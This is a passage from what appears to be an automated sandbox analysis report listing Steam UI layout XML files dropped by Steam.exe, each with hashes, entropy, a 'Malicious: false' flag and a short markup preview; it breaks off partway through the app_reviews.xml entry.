File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4731
Entropy (8bit):	5.00622262414007
Encrypted:	false
SSDEEP:
MD5:	183DB4E2699D0E547B97FC3DAB94DBB1
SHA1:	91B4DB1789C23BC39515A0AC9F3FEEF430001C40
SHA-256:	257876031341C28012FB5A4E26C4CF940099FBCC846FF73559EA208E4843379F
SHA-512:	19CA0ECE161B30EC0B994749946865D482F9B3AC71366EDE36D18690807137223681E5DF8C66DF90B1F56B387D93E5F7E31C246194EE733A65AE0749E26E9EAB
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_RemoteClients class="SettingsSection" tabindex="auto" selectionpos="auto">.... main panel -->.. <Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.... <Panel class="SettingsContent">....... <Label text="#Settings_RemoteClients_Description" class="ShowIfNotStreamingUI" />..... <Panel id="SettingsRemoteClientTable" class="ShowIfNotStreamingUI">...... <Panel class="SettingsRemoteClientsHeader">....... <Label class="SettingsManageDevices_ColumnName" text="#Settings_RemoteClients_DeviceName" hittest="false" />....... <Label class="SettingsManageDevices_ColumnName" text="#Settings_RemoteClients_Status" hittest="false" />...... </Panel>...... <Panel class="SettingsRemoteClientSection" selectionposboundary="vertical">....... <Panel id="SettingsRemoteClientList">........ code will ad

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_remoteclients_advanced_client.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5735
Entropy (8bit):	4.98902552379305
Encrypted:	false
SSDEEP:
MD5:	CF3D41C616D1E3D7DDCE52EFFD7ECB0E
SHA1:	C900E5B95E11468EC2E6401683A18F5F65D92CC2
SHA-256:	71DA2603F8A6641B305F875C826FB8C8F306861360E6B774D40FFF7EB64AD2F4
SHA-512:	1C6BFADD271FAFCCFC86B962015A20ADC682F48EC11ECE9F2180A1692E8EC2EF55F78573B94D82B39D28F584C3CCCB705EC48FE96CA2875477B429D70541FDCD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_RemoteClients_AdvancedClient class="SettingsModal" defaultfocus="BandwidthLimitKBit" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">.....<Panel class="SettingsContent FlowDown">......<Label id="DescriptionLocal" text="#Settings_RemoteClients_AdvancedClientOptions_DescriptionLocal" />.. <Label id="DescriptionRemote" text="#Settings_RemoteClients_AdvancedClientOptions_DescriptionRemote" />.. <Panel class="FlowRight">...... <Panel class="SettingsColumnarContent FlowDown">.. <Panel class="VertContainer">.. <Label class="SettingsLabel" text="#Settings_RemoteClients_PerformanceOverlay" />.. <DropDown id="PerformanceOverlay" class="Filter" tabindex="auto">.. <Label id="0" text="#Settings_RemoteClients_PerformanceOverlayDisabled" /

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_remoteclients_advanced_host.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3561
Entropy (8bit):	5.098553551009061
Encrypted:	false
SSDEEP:
MD5:	FABA9B8A2D408AF3168D811BE583DA4D
SHA1:	3CEE5D81BDFFA08B922D12FC46A4F73EE0CFC117
SHA-256:	63DEAB39653CADD89E1549B20D2F8149837415A78ACA13BEAA318738884F7045
SHA-512:	8CC2F62FF7C0C33EF353BD954FFCD17E2ED4713AAC84BCA5B84B05DDB91F53B4D9C6D2CCE58D54A373937A2C9916BA6669C878D76C731C0588D018AF1F692C42
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_RemoteClients_AdvancedHost class="SettingsModal" defaultfocus="EnableHardwareEncoding" tabindex="auto" selectionpos="auto">...... main panel -->....<Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.....<Panel class="SettingsContent">......<Label text="#Settings_RemoteClients_AdvancedHostOptions_Description" />......<Panel class="FlowRight">.......<Panel class="SettingsColumnarContent FlowDown">........<Panel class="Spacer" />........<ToggleButton class="CheckBox" id="HostPlayAudioAlways" onactivate="ToggleHostPlayAudioAlways();" text="#Settings_RemoteClients_HostPlayAudioAlways" />........<ToggleButton class="CheckBox" id="ChangeDesktopResolution" onactivate="ToggleChangeDesktopResolution()" text="#Settings_RemoteClients_ChangeDesktopResolution" />........<ToggleButton class="CheckBox" id="D

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_remoteclients_listing.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	378
Entropy (8bit):	4.723491824491421
Encrypted:	false
SSDEEP:
MD5:	36359AAB8794D5F554D7C7DBD8785157
SHA1:	92F49A87064A9D27FD5FA2C1863FEAF984064875
SHA-256:	B922416B6A501F107FCF7F0A7FF5857157A322B675AF72778AF6014BC7F3E908
SHA-512:	6EA2A8728E94CFD500285BDD93B5184390644A929EAFE9F780FF0EBA1AC3D6D0A476884A23E5CF55FAB0F3330985FFA3F994D539A883ABB8F9CE6B4E1D36A909
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelRemoteClientListing>....<Label id="DeviceName" class="SettingsRemoteClientsColumnDevice" />....<Label id="Status" class="SettingsRemoteClientsColumnStatus" />...</SettingsPanelRemoteClientListing>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_steamcontroller_support.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6339
Entropy (8bit):	4.772032794918536
Encrypted:	false
SSDEEP:
MD5:	586A6020E3343709A69608BDA58426B3
SHA1:	F342B011CFDC7A98D896618BFC41F8C8CB06C160
SHA-256:	168E39BDAD707F80006641AE3FC2FB05BDD8F56E0BF768DF6393F7D422EED0C0
SHA-512:	E5408940D8A5CF2513DC3AA8D62608387F5CDF26F35F993CD91CE7EFCEA99D315E839F1350E75E0027E7DE24D0E5077963ABCD70FB158928521C34B46EF4B2CD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.. <include src="file://{resources}/styles/settings_steamcontroller_support.css" />...</styles>.... <SettingsPanel_SteamControllerSupport class="SettingsSection">.. <Panel id="MainSupportPanel" class="SettingsBottomPanel">.. <Label id="MainSupportHeading" text="" />.. <Panel id="SupportControllerSection">.. <Image id="ButtonRTrigPressed" src="file://{images}/settings/Button_highlight.png" />.. <Image id="ButtonLTrigPressed" src="file://{images}/settings/Button_highlight.png" />.. <Image id="ButtonRBumpPressed" src="file://{images}/settings/Button_highlight.png" />.. <Image id="ButtonLBumpPressed" src="file://{images}/settings/Button_highlight.png" />.. <Image id="ButtonAPressed" src="file://{images}/settings/Button_highlight.png" />.. <Image id="ButtonBPressed" src="file://{images}/settings

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_steamplay.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	4.882232932880113
Encrypted:	false
SSDEEP:
MD5:	CA48B4694E6844D706439AAED84D3CF6
SHA1:	0B5284CF78064E3038CF51CFD5ABCCD45B1B2FC4
SHA-256:	51CC15E3609E195FD3850A65EBD8F60427924EFCD39EE75AE5BF3C6FA202CE8E
SHA-512:	BAC8441B8CE4CF907C7251F1C97322D4D1EEC11B15E03D1E7795A53D8E0A475C1FD583D48E1FDD68A566BE6D68CF7D03EDB7957CDFCBFEDF9335805ED49406E7
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/mainmenu.css" />...</styles>.....<SettingsPanel_SteamPlay class="SettingsSection" defaultfocus="Continents" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel FlowRight" tabindex="auto" selectionpos="auto">......<Panel class="VertContainer">.......<Label id="SettingsSteamPlay_Enable_Label" class="SettingsLabel" text="#SettingsSteamPlay_Enable_Label" />.......<ToggleButton class="CheckBox" id="SettingsSteamPlay_Enable" text="#SettingsSteamPlay_Enable" onactivate="ToggleSteamPlaySetting()"/>.........<Panel id="SettingsSteamPlay_HR" class="HR" />.........<Label id="SettingsSteam_PlayEnableTool_Label" class="SettingsLabel" text="#SettingsSteamPlay_EnableTool_Label" />.......<ToggleButton class="CheckBox" id="SettingsSteamPlay_EnableTool" text="#SettingsSteamPlay_EnableTool" onactivate=

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_store.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3213
Entropy (8bit):	4.86807509425199
Encrypted:	false
SSDEEP:
MD5:	8B67ACC6244CD3256254A6820C0937F5
SHA1:	E8A680CD78F24BD35BF2937B6FFAA06ED49884F2
SHA-256:	24C292DE3491AB67758B3AE499E383CF9B6DC4C791C50A75DEA7671882B8859E
SHA-512:	E14E6EAF37F1649B4281B2ABF150F32F8DF6C78027C25D4F28879140EC67A5E787BC584626F4CBDB987D900D192F95441C0DDFC947719D561E375B75F18DF3AD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_Store class="SettingsSection" defaultfocus="Continents">.. <Panel class="SettingsBottomPanel">.... main panel -->.... <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">........<Panel class="VertContainer">........<Label class="PaddedLabel" text="#SettingsStore_Description1" />..........<Label class="PaddedLabel" text="#SettingsStore_Description2" />..........<Label class="PaddedLabel" text="#SettingsStore_Description3" />.........<Panel class="VertContainer">........<Panel id="LocalWindows" class="SettingsStore_Config">.........<Panel id="SettingsIcon_OSConfig_Win" class="SettingsIcon" /><Label class="ConfigLabel" text="#SettingsStore_OSConfig_Win" />........</Panel>........<Panel id="LocalOSX" class="SettingsStore_Config">..............<Panel id="SettingsIcon_OSConfig_OSX" class="Setti

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_timezone.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	924
Entropy (8bit):	4.829243549950278
Encrypted:	false
SSDEEP:
MD5:	61184F4D41460FC39AD458AC95D7F55E
SHA1:	56296D0E99804FF9E24DFC1C03BCB1E5379E2059
SHA-256:	9913939BBB835B5CF160EC56E87DB1684AA070E4C0A23112202A2C5636DCF78D
SHA-512:	2A1CCBC62EDE985A3C7325FAEB8AA0FCC04BD721C9F4B95B2012654775E413AB07C480EC7C752FFD52F1D9B358C71CB421DA6A673623199195883A562DD74F38
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/wizardstyles.css" />.......</styles>.....<SettingsPanel_TimeZone class="SettingsSection" defaultfocus="Continents">....<Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.... <Panel class="SettingsContent SettingsCenterContent" tabindex="auto" selectionpos="auto">........<Panel class="HorzContainer">.......<Label class="SettingsCallout" text="#SettingsTimeZone_Intro" />......</Panel>........<Panel class="VertContainer">............<Label class="SettingsLabel" text="#SettingsTimeZone_Region" />.......<Panel id="RegionsList" class="VertContainer" childfocusonhover="false">........ region instances added here -->.......</Panel>......</Panel>.. </Panel>....</Panel>...</SettingsPanel_TimeZone>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_timezone_region.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	547
Entropy (8bit):	4.902250089071127
Encrypted:	false
SSDEEP:
MD5:	51A4D3A6896D206990C98410D962DBBC
SHA1:	D392E5904A7CDC97CF4CE88FA2FD663D00D6F94C
SHA-256:	A0E50DE58C4B1EC166235FD33249451164A57E98F26713B140DA0A574C656F74
SHA-512:	C604FBEA27E8114AC89290FF14509FC3D7FC160567C9B7FFF86D2494C9F5902B097F8187F6E56F0C786F45F3D4AC0AD45F5673E4F907C1371CC0CA9B485516E8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/wizardstyles.css" />.......</styles>.....<TimeZoneRegionPanel class="VertContainer">.. <Button class="FlowDown" id ="TimeZoneRegionFocusElement" onactivate="RegionSelected();">.. <Label text="#TimeZoneRegionFormat" />.. <Label class="TimeZoneRegionDetailText" text="#TimeZoneRegionFormatDetail" />.. </Button>...</TimeZoneRegionPanel>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_voice.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3731
Entropy (8bit):	5.077283467524228
Encrypted:	false
SSDEEP:
MD5:	514BD3DF47396C35E3E8D07AFE8430A7
SHA1:	1FDB7529DFA2149AE94C4951312A1EF0AFF3F328
SHA-256:	FA220C5E7949FAE8EA396A28FA73DC98C5C907E2578BD011E6F02C2F10294DA5
SHA-512:	6073619163B29C03897BAC9482CC39396073B74A14C16CA9473D401F91AA70D1D6705AEE5D79FC000A11EE0BEA63A82F22A865DEB539355EDBB16DDAF40AD83E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_InGame class="SettingsSection" defaultfocus="SettingsVoice_AutoXmit">....<Panel class="SettingsBottomPanel" selectionpos="auto">..... main panel -->.....<Panel class="SettingsContent" tabindex="0.0" >......<Label class="SettingsLabel" text="#SettingsVoice_WhenActive" />......<RadioButton group="PTT" class="Button RadioButton" id="SettingsVoice_AutoXmit" tabindex="0.0" text="#SettingsVoice_AutoXmit" onactivate="PushToTalk( false )"/>......<RadioButton group="PTT" class="Button RadioButton" id="SettingsVoice_PTT" tabindex="1.0" text="#SettingsVoice_PTT" onactivate="PushToTalk( true )"/>......<Label class="SettingsLegend" text="#SettingsVoice_Keyboard" />......<KeyboardShortcut id="SettingsVoice_KbdXmit" tabindex="2.0" />........<Panel class="SettingsGroup" tabindex="3.0" >.......<Button id="DetectAudioButton" class

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_web.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2571
Entropy (8bit):	4.957748587030207
Encrypted:	false
SSDEEP:
MD5:	E6045FF8F44C98103527829B7AE5FA6B
SHA1:	711FB39E18FE9B9E5EC5F381BA1647CCA7A3D342
SHA-256:	31B6677BC163F2B2B6D44196B28A05E01F4EC6D531351D6DF1C3CF1DFAA98F20
SHA-512:	F91068BB746F87CBC1DBFCCF7119A1BEB07B42999E1B772A42E1B7F7E902DA40AB40B24116CB30CC3267E5439A7D52EB606131034F5A350C80AB44955E2039F7
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_Web class="SettingsSection" defaultfocus="Continents" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel FlowRight" tabindex="auto" selectionpos="auto">........<Panel class="VertContainer">.. <Panel id="SearchProviderContainer">........<Label class="SettingsCallout LongDesc" text="#SettingsInterface_SearchProvider" />........<Panel id="SearchProviders" class="Radios" childfocusonhover="false">.........<RadioButton group="SearchProvider" class="Button RadioButton" id="google" tabindex="0.0" text="#SettingsInterface_Search_Google" selectionpos="auto" onactivate="SelectWebSearchProvider()" />.........<RadioButton group="SearchProvider" class="Button RadioButton" id="bing" tabindex="1.0" text="#SettingsInterface_Search_Bing" selectionpos="auto" onactivate="SelectWebSearchProvider()" />

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\shutdown.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	4.901887922305568
Encrypted:	false
SSDEEP:
MD5:	46E4CDBAA9AFDF6A619DE9398B6D18E3
SHA1:	BF9B68B1B293374069E714CEC0C6BBAB88CE9C89
SHA-256:	3DAF07DD8F92D7A344454D9B95543E652AE0B3D69B0498C49371CAADEA6D454E
SHA-512:	AAB9B807F0CCEF3D720C2A6678D8B3C166D8D7F2B835D2ECF173D3EF0246DF75062D40C8D3F40402E6B934795A7515CBF447CEF24F04D81BB54B17249715B4E1
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/shutdown.css" />...</styles>.....<Shutdown tabindex="auto" selectionpos="auto">....<Panel id="CenterWrapper">.....<LoadingThrobber id="BackgroundThrobber" class="Large"/>.......<Label id="DescriptionLabel" />....</Panel>...</Shutdown>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\ssa.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	4.704501765352815
Encrypted:	false
SSDEEP:
MD5:	A617F3D54D1E2704E084285B39612D8B
SHA1:	EE51483D9F5CDF506AD251EDEE4A3E4C97B33C7C
SHA-256:	540B7ECCCE2D36FF39CFFE36176F7E8A9184E3E35C226865D647F43926E88B17
SHA-512:	40ACBF95B9F7B7266FE407D5404707165968AB6A7054D1A3DEE1EE463FEEA73216A081F364E275F45F72AF95444317DC90755ED95D46596883F37802E8B0632C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/ssa.css" />...</styles>.....<SSA defaultfocus="SSAHTML" tabindex="auto" selectionpos="auto">....<Panel class="SSAContainer" selectionpos="auto">.....<HTML id="SSAHTML" embedded="true" />.. .. <Label id="SSAScrollHintXInput" text="#Steam_Html_ScrollHintXInput" />.. <Label id="SSAScrollHintSteam" text="#Steam_Html_ScrollHintSteamPad" />.. -->.... <Panel class="FlowRight HorzCenter" selectionpos="auto">.. <Button id="SSAAccept" onactivate="AcceptSSA();" class="Button">.. <Label class="LongDesc" text="#SSA_Accept" />.. </Button>.. <Button id="SSADecline" onactivate="DeclineSSA();" class="Button">.. <Label class="LongDesc" text="#SSA_Decline" />.. </Button>.. <Button id="SSARefresh" onactivate="

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\steamlinkauthdialog.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	5.08673820160723
Encrypted:	false
SSDEEP:
MD5:	76B9B660EDB61B82ECD162652CB417B0
SHA1:	7B227A2CEE867D4E33B99709602C3E7B60C22EB4
SHA-256:	8F1292120B5C7988E7B775B850AC1AB17F9246CF4C3A8E520A2E6EC6C2C4F0EF
SHA-512:	F4C914C70A1FA009DCF4AEE9B3F5F49A76BCD202A5F20CF8AF88472E8973C84C83442EE42E0F4AE04155F4D8C67F8FA18C44AAAC8CFC6CAF50CDB0A567B34D98
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.... <SteamLinkAuthDialog class="TenfootMsgBox" tabindex="auto" selectionpos="auto" defaultfocus="PINEntry">.. .<Panel class="ParentalUnlockPopupBody" tabindex="auto">.. ..<Label class="StdTitle" text="#SteamUI_RemoteDeviceAuthorization_Title" />.. ..<Label id="MsgBoxDescriptionArea" text="#SteamUI_RemoteDeviceAuthorization_Text" />.. ..<TextEntry class="ParentalPINEntry" id="PINEntry".......textinputclass="HalfWidth DockLeft AppearFromBottomCenter".......undohistory="enabled" />.. ..<Panel id="MsgBoxButtons" >.. .. <Button id="OKButton" class="Button" onactivate="ButtonOK()">... .. <Label text="#UI_OK" />... ..</Button>... ..<Button id="CancelButton" class="Button" onactivate="ButtonCancel()">.... ..<Label text="#UI_Cancel" />.. </Button>.... </Pa

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\age_gate.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	5.020952039513973
Encrypted:	false
SSDEEP:
MD5:	29B220CFB9EC422B620173A2D9B66BB3
SHA1:	9E0C7D32F725CFAD0FC4F013B39F168596E70601
SHA-256:	5E71A663123E91BB721CB198AF7D4FC82A8E95E5E01715855F5D06530E512312
SHA-512:	076840A1C7240CE9E2D6EC0B7B4D0822D720C910B8FA9083E2FD0E23AE178112EC1C840F4D851444D2D04D90349BCCE53116D85E61C28E4D570C3A767991C158
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreAgeGate>....<Panel class="AgeGateLoading">....</Panel>....<Panel class="AgeGateLoaded">.....<Panel id="AgeControls">......<Image id="AgeGateHeader" />......<Label class="AgeGateInstructions" text="#Store_EnterBirthday" />........<Panel class="BirthdayControls" tabindex="auto" selectionpos="auto">.......<DropDown id="Day" />.......<DropDown id="Month">........<Label id="1" text="#Month_January" />........<Label id="2" text="#Month_February" />........<Label id="3" text="#Month_March" />........<Label id="4" text="#Month_April" />........<Label id="5" text="#Month_May" />........<Label id="6" text="#Month_June" />........<Label id="7" text="#Month_July" />........<Label id="8" text="#Month_August" />........<Label id="9" text="#Month_September" />........<Label id="10" text="#Month_October" />........<Label id="11" text=

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\app_description.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	874
Entropy (8bit):	4.961199614643553
Encrypted:	false
SSDEEP:
MD5:	3D38BA0C4EA13254965F74C938DFAC14
SHA1:	5A88ECBB3029102C8A5C6EA3001D08CB7C6EEF59
SHA-256:	D78F9C2A788AF88BBE6F2927E87D55E5BEB06779BD13B7782FB9C0ED00D84B4A
SHA-512:	498A9BF8A8CB02F7B5B7F208F62F0FDA3712D602200E42227A084BDBCA7A0AE5864C7C7C120F49D8CF792A6FA9472703AD1F40E492B260F0204CF8C8C657B169
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreAppDescriptionSection defaultfocus="ReadDescriptionBtn">....<Panel class="AppSectionWrapper">.....<Label class="HeaderLabel" text="#Store_Description" />.....<Panel class="AppSectionBody">......<Panel class="AppSectionSmallBody">.......<Label class="AppSectionOverviewLabel" text="#Store_DescriptionOverview" />......</Panel>......<Panel class="AppSectionLargeBody" childfocusonhover="true">.......<Label id="AppDescription" html="true" />.......<Button id="ReadDescriptionBtn" tabindex="0" selectionpos="0.0,0.0" onactivate="ShowAppDescriptionDialog()">........<Label text="#Store_DescriptionReadFull" />.......</Button>......</Panel>.....</Panel>....</Panel>...</StoreAppDescriptionSection>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\app_details.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4766
Entropy (8bit):	4.999469993422688
Encrypted:	false
SSDEEP:
MD5:	DF147C11A748D2E22B0FF61F69839B77
SHA1:	192D6E092AE70DCB921BB38C87E3B0CC8702A3C4
SHA-256:	6576EC37F21C7CE126AA8553389EA9D206DB39845F94D927513279EF9A22ED8A
SHA-512:	929E4DF6A45811B7074C12BD400895DEB98368BC349F541E826CD4DCE41EFBF9BA77655EB9B611C1CDF8371751A759D74FFB7D58F6B02B8D5FC1E463BA3B85D9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreAppDetailsSection defaultfocus="ViewRequirementsBtn">....<Panel class="AppSectionWrapper">.....<Label class="HeaderLabel" text="#Store_Details" />.....<Panel class="AppSectionBody">......<Panel class="AppSectionSmallBody">.......<Panel id="DetailsMetacritic">........<Label id="DetailsMetacriticScore" text="#Store_MetacriticScore" />.......</Panel>.......<Panel id="DetailsCategoryOverview">........<Image id="IconWindows" src="file://{images}/store/icon_platform_win.png" />........<Image id="IconMac" src="file://{images}/store/icon_platform_mac.png" />........<Image id="IconLinux" src="file://{images}/store/icon_platform_linux.png" />........<Image id="IconStreamingVideo" src="file://{images}/store/icon_platform_streamingvideo.png" />........<Panel id="IconController" />........<Image id="IconSingleplayer" src="file://{i

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\app_friends.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2557
Entropy (8bit):	4.918645751889379
Encrypted:	false
SSDEEP:
MD5:	BC84EC2B46396573495E922CB3BA361E
SHA1:	D36E68F05C574A65A76F8846209041D69BA55DC1
SHA-256:	558A45F446F040A5236BA05D5512100791CFFB0AC1756077F03F01B2B04242F9
SHA-512:	A55D6B6946A84DD1018B0734BCFC26AFF4AD63D97B1391F2A8C8C3420ED823C6113FB87418C47FF6C784998A4D7F96C9EDE5202426A55D57893DD4D7D10EFF55
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreAppFriendsSection defaultfocus="FriendsExpanded" >....<Panel class="AppSectionWrapper">.....<Label class="HeaderLabel" text="#Store_Friends" />.....<Panel class="AppSectionBody">......<Panel class="AppSectionSmallBody">.......<Panel id="FriendsSectionOverview" />......</Panel>......<Panel id="FriendsExpanded" class="AppSectionLargeBody" tabindex="auto" selectionpos="auto" childfocusonhover="true">.......<Button id="FriendsWhoPlayBtn" class="AvatarImageBtn">........<AvatarImage id="FriendsWhoPlayFeatured" class="FriendsSectionAvatarPanels" />........<Panel class="FriendsSectionAvatarPanels">.........<Label id="FriendsPlayGameText" class="FriendsWantPlayText" text="#Store_FriendsPlayGame" />.........<Panel id="FriendsWhoPlayList" />........</Panel>.......</Button>.......<Button id="FriendsWhoWantBtn" class="AvatarImageBt

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\app_note.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2124
Entropy (8bit):	4.832875550962143
Encrypted:	false
SSDEEP:
MD5:	7DE4D85D14DDAC91DBE3C1C0FBFA4158
SHA1:	F975CAF33ECF9097DC2093DCE591872DAED7146A
SHA-256:	F1B7BA7DA4686214178E1F98D8AA1C77F4716E8FE3DFD4D735E54463532E0186
SHA-512:	59874FF084B02531F9118C4C8B120115E0CDADEBA11033A97FEA8CE5DC36F7B4FADF810641084B790A10320ABA2A421AAAED808FD05E30C0D297B0CB3A2DBF91
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>.....<StoreAppNoteSection defaultfocus="LearnMoreButton">....<Panel class="AppSectionWrapper">.....<Label class="HeaderLabel" text="#Store_Note"/>.....<Panel class="AppSectionBody">......<Panel class="AppSectionSmallBody">.......<Panel class="NoteIconWrapper" id="HeaderIconWrapper">........<Panel class="NoteIcon" id="WindowsIcon" />........<Panel class="NoteIcon" id="OSXIcon" />........<Panel class="NoteIcon" id="LinuxIcon" />........<Panel class="NoteIcon" id="SteamControllerIcon" />........<Panel class="NoteIcon" id="LegacyControllerIcon" />........<Panel class="NoteIcon" id="KeyboardMouseIcon" />........<Panel class="NoteIcon" id="EarlyAccessIcon" />.......</Panel>......</Panel>......<Panel class="AppSectionLargeBody" childfocusonhover="true">.......<Panel class="Note" id="RequiresStreaming">........<Label class="NoteLabel" tex

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\app_reviews.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1068
Entropy (8bit):	4.955935202903786
Encrypted:	false
SSDEEP:
MD5:	CFBF928944EECAA8C9D13693852B8D50
